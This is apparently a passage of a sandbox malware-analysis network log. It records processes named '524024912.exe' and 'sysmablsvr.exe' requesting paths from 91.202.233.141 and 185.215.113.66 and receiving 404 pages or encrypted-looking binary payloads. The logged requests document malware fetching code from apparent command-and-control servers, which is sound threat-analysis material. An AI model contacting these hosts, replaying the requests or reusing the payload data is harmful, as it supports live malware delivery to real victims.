Sep 17, 2024 23:10:19.905354023 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:19 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	91.202.233.141	80	332	C:\Users\user\AppData\Local\Temp\524024912.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:15.953558922 CEST	175	OUT	GET /PLTRESA HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:16.643790960 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:16 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:21.961731911 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:22.670964956 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:22 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:24.724494934 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:25.439697981 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:25 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:28.590056896 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:29.317533016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:29 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:10:29.317673922 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
Sep 17, 2024 23:10:29.317725897 CEST	1236	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
Sep 17, 2024 23:10:29.317759037 CEST	1236	IN	Data Raw: d7 f3 2e 8d 8d 14 f5 b5 9f 7a 63 f6 a5 d8 1a 7c 20 73 ff 8e 3d 30 7a dd eb 21 21 b3 f9 61 8c d5 2b fe 2d a1 ba 84 7b d4 a9 1d 58 0e 2b 45 90 e9 60 fe 22 89 e1 f0 b4 9a 10 da cd 73 31 e1 bb 58 72 26 c0 bf e3 d9 d3 02 33 02 61 b9 fe 1e bc 27 56 16 Data Ascii: .zc\| s=0z!!a+-{X+E`"s1Xr&3a'VS:JN4sZO~"NX#"{W`0c>?'Ao.mcBF+5),Tk.8O:Uvw}!\NvuLscl,UdSuEcSh.
Sep 17, 2024 23:10:29.317790985 CEST	1236	IN	Data Raw: fb b6 7f 01 cb 83 9c ee 28 41 1b 8d 78 f9 94 d9 c6 b9 86 0b e3 73 c1 45 58 68 0b ab d3 47 ef 20 86 7b 55 d3 0c c7 b1 57 4f a7 20 cc 91 fa 41 9a 3d 58 7d e2 89 40 e4 51 3c 59 f9 49 f2 74 56 b3 66 34 4f 7c 10 6b bf f5 25 ce f7 63 be 60 cf 88 9f c7 Data Ascii: (AxsEXhG {UWO A=X}@Q<YItVf4O\|k%c`1HY@:o\|k(NTR^UZ!%W?y!\2LF%0HN7(%u)X6OP3O9U+8t@GB<5V<u2JgHVQM`WBuS*
Sep 17, 2024 23:10:29.317823887 CEST	1236	IN	Data Raw: 90 bf ae ec 13 9d a5 4b e9 3e 96 7d 0f 9d b6 32 3c 1a 52 f8 10 a1 cf 98 d2 01 cf 79 55 d5 06 f1 2b cf f1 19 79 42 ba 77 de b5 f5 09 d1 13 61 a4 39 69 3f 6c ba 23 9c 2a bb ac 20 1c d2 25 85 7d f6 de a1 1f 26 49 d8 fb 80 30 2d c2 27 f1 9d 56 c6 3a Data Ascii: K>}2<RyU+yBwa9i?l#* %}&I0-'V:7ih`JX`JyJ 7#g=cfxe*z}^Gbbw;+1Pl\C&fots7I>5U^'7
Sep 17, 2024 23:10:29.317858934 CEST	776	IN	Data Raw: af 2d 94 59 fe 1d 33 87 3e e9 41 18 09 db d0 b8 9b 92 b4 44 c0 1e b5 bc 8e dd 96 e8 06 f3 c6 a1 5a a3 a9 93 28 47 ce 2b dc 08 af 4e 85 c6 48 22 91 67 96 5b ab af d2 7f bf de 80 e2 3c d5 57 b8 35 24 f9 39 e7 93 01 7b 25 f3 d7 59 75 0d f9 37 8c 7f Data Ascii: -Y3>ADZ(G+NH"g[<W5$9{%Yu7seOC{%XIcbc&Ch2?`c%2H5_@&r3-"j41%%uv#Sh}<~~`FF<Eq:7M{(hNYf'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49759	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:30.339901924 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:31.032341003 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:30 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:10:31.032361031 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
Sep 17, 2024 23:10:31.032377958 CEST	448	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
Sep 17, 2024 23:10:31.032392025 CEST	1236	IN	Data Raw: 8a ff 83 22 c8 95 a3 8f b1 4a 38 b5 2d bb cd 5f 4e 56 ec 78 f2 2a 77 31 8e 84 ce 5f 01 9a 88 8c 69 78 7b fd d1 e9 90 ce fe 19 9e 71 f0 74 06 bd 8e 4b 2b c8 64 c7 2f 6c ac 9d 86 51 f9 3f 34 9e 6b 84 9f 6f bf 8a ab 20 11 6b d1 b9 32 c9 ad 31 26 8f Data Ascii: "J8-_NVx*w1_ix{qtK+d/lQ?4ko k21&p"NX^xp7'a#/n5za\a@hks_jq9mmC]ZF.?9&3FQQjOrl}u]?#B<
Sep 17, 2024 23:10:31.032421112 CEST	1236	IN	Data Raw: a3 9e 70 26 2d 00 71 9f 71 d4 4d 7a d0 f3 1c 0f 04 10 cb 9a 79 d7 26 8f 1d c1 cf 2b da 1a a8 b2 33 fa 6c 30 25 2e 24 74 32 6b 2f 20 ad 89 f4 1c 13 0e 03 f8 7a e3 ea 88 da f8 db d8 4b 75 28 fb 0d 03 74 64 2d c0 6f ec 7c 04 02 95 be 55 6f e0 c2 7c Data Ascii: p&-qqMzy&+3l0%.$t2k/ zKu(td-o\|Uo\|-mh3O4nloL;zvMwI6j( jxm%MN7c3"E eBQ%k75R3FF5B\|Ws
Sep 17, 2024 23:10:31.032448053 CEST	1236	IN	Data Raw: 91 49 c1 2a 12 b8 b0 a9 d8 17 cb 3a 12 c7 e3 7c a5 03 4f b4 e0 6f 9c 0f e7 05 56 89 13 01 2e 57 8d a6 90 2d b4 9d 7e 7d ed 69 48 01 1d 6a 10 ef fe 4b e2 e5 f5 a4 22 95 85 0f af 55 50 55 e5 fb b7 be 00 67 40 4d f9 41 19 09 d0 1c fb 85 ca 46 e9 39 Data Ascii: I*:\|OoV.W-~}iHjK"UPUg@MAF9o_<,_7VMV>0pYZley?SAe~r$S0B(wtV74l#F{kf?se_<A9f^Lc}/ :DC=/~2JhY"j
Sep 17, 2024 23:10:31.032478094 CEST	1236	IN	Data Raw: 33 25 5a 99 e4 c8 3a 3b b9 7d 52 56 ea 5a fd 47 b2 99 75 9a fe 01 89 11 e0 f9 89 a0 f0 57 aa 9a e0 f3 6a 1f db 8b 59 f6 8e 92 a8 6b d0 c0 d0 81 23 b7 de 98 3d 07 b3 98 4f 84 16 60 b3 dd ab 53 0a e4 77 2b cc e6 31 65 b3 5f 58 b3 04 3f 64 c3 84 f3 Data Ascii: 3%Z:;}RVZGuWjYk#=O`Sw+1e_X?dVqB)?d4SDeF!/V!Wi((3QPn\|CSe,CJ4s`j:iK<}"X'sTfDxmo}`n}7U;ufk %
Sep 17, 2024 23:10:31.032545090 CEST	328	IN	Data Raw: 11 e0 1d 41 94 0d 7b ad 86 5c f0 cc 66 96 07 16 da 90 24 25 b4 09 e9 a0 6a 91 dc 3e da 89 4c 4a d8 4c 4e 48 fb 25 0a 8a 95 d7 ae dd ec f1 fd fd 04 37 d4 97 ff 66 94 b5 1d 23 3c e9 a6 1a 51 4c 45 d3 c7 d3 69 4b 47 bc 71 06 00 80 0c 64 1a 39 2f f7 Data Ascii: A{\f$%j>LJLNH%7f#<QLEiKGqd9/P#v8CtHbFh/P;;.;j,Q'B:>[_Mk8!B\dEVd%O:U2,%/
Sep 17, 2024 23:10:31.118762970 CEST	8	IN	Data Raw: 1b b5 08 3e b6 9b 0d ab Data Ascii: >

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49761	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:33.389040947 CEST	274	OUT	GET /1 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
Sep 17, 2024 23:10:34.077852011 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:33 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Tue, 17 Sep 2024 21:06:39 GMT Connection: keep-alive ETag: "66e9ef5f-1f00" Accept-Ranges: bytes Data Raw: 14 1a ce da 82 08 ba 24 75 30 7f 6a ed 06 00 e6 10 10 57 dd e0 5a 01 72 bd f9 d5 ed 1c 35 60 f9 32 ce d3 a5 ea 4d 2a e6 0c e1 3c 65 d9 da f4 7e 2e 7e c6 ba 6c 55 4d 43 8b 05 f1 2c 33 05 0f 5e ad 81 37 56 45 04 64 01 6c 05 f2 ca 9b fa c5 86 d7 7c d9 19 4e 35 30 82 8a e7 0f 4c 4f 27 fa f6 0f 6d b1 63 2f 86 d4 9b b3 b8 9e 89 04 9f cc 59 b6 c8 6c 39 8e 85 db 24 67 1e 58 a4 34 75 41 9a ef 46 4a a7 1f ea b8 e5 66 6b 34 84 cb d2 5a 5c 61 e3 2a ec c0 b3 7a 6d bd 66 90 03 6b 60 c1 d3 3d cd f9 87 e8 32 b6 e7 85 b9 e4 c8 61 17 9d 1c 0d 5c 46 b8 c4 60 53 71 ba ab 09 fc ef 95 54 1c 84 a0 7a d9 10 c0 39 d8 2e 2d 2a 56 d3 b6 ee ee c1 dc cd 7a 9e 33 73 ec 32 64 ae 69 89 98 32 5a 29 b9 f2 81 dd 89 8c 00 6b 4a f7 21 ba ae 4a dc 2c 5f a9 20 d6 81 fd 4d f4 76 b4 52 7a 8f 9b 01 cc af 72 96 0d e8 7f cf 9e 80 24 c7 d2 ae 56 27 1f c6 27 9e 0a 4b 97 c9 ab ab d5 b7 40 4a fb b8 5a b5 13 1d 45 de ed 7b 13 44 ed e2 38 90 ef cf 34 ad 54 5b 38 00 6a 93 51 63 8b be a0 f0 20 18 4f 49 f8 31 a7 c2 9c 9a 36 cc 52 ac 12 de 12 6d f1 54 [TRUNCATED] Data Ascii: $u0jWZr5`2M<e~.~lUMC,3^7VEdl\|N50LO'mc/Yl9$gX4uAFJfk4Z\azmfk`=2a\F`SqTz9.-Vz3s2di2Z)kJ!J,_ MvRzr$V''K@JZE{D84T[8jQc OI16RmT=gyJV9qUMuD6QEl"{.d=~rD$Ep=-Kg\|I&]c)XYT,x7~W9r{$hKKvfK5w}yBLS^nX]P>=qU0_DF&BRB1+Y@$2c#6:Pnr}$x/ql~p2 Qm&>CG)Iu$.I@q;@T9u'Odcm7r}y}}?FHwx,6,$sg"S\|Y):#lQLqye)>8`56f/iIq)cKG-i)iM1-]eLd3}fDA]\<Jr~SWEoXf5O5_g5,V\|sB}T;uQT:z~B88Smqm*gg9D;W@t^
Sep 17, 2024 23:10:34.077917099 CEST	1236	IN	Data Raw: a8 cd b6 25 a2 da 1a 53 6e 9c 3d e0 c0 2c b0 89 c9 36 5e 59 78 e5 46 22 d4 dd 8d ff 8c 57 da 6b 79 15 f8 be 5e db e9 49 15 0f f8 c3 4f 96 07 14 e2 9a 29 ff 2d 40 fd 3b 29 86 ca 57 e5 fb 68 04 d3 a7 dd 89 cf e1 60 e7 16 2d 5e 1f e7 1c 80 8e 86 df Data Ascii: %Sn=,6^YxF"Wky^IO)-@;)Wh`-^<`;!L?S@MN!$R"RgVUFcl{a6J4;_9=ipvrbLp}=\|7 '.t}!sc\=}j
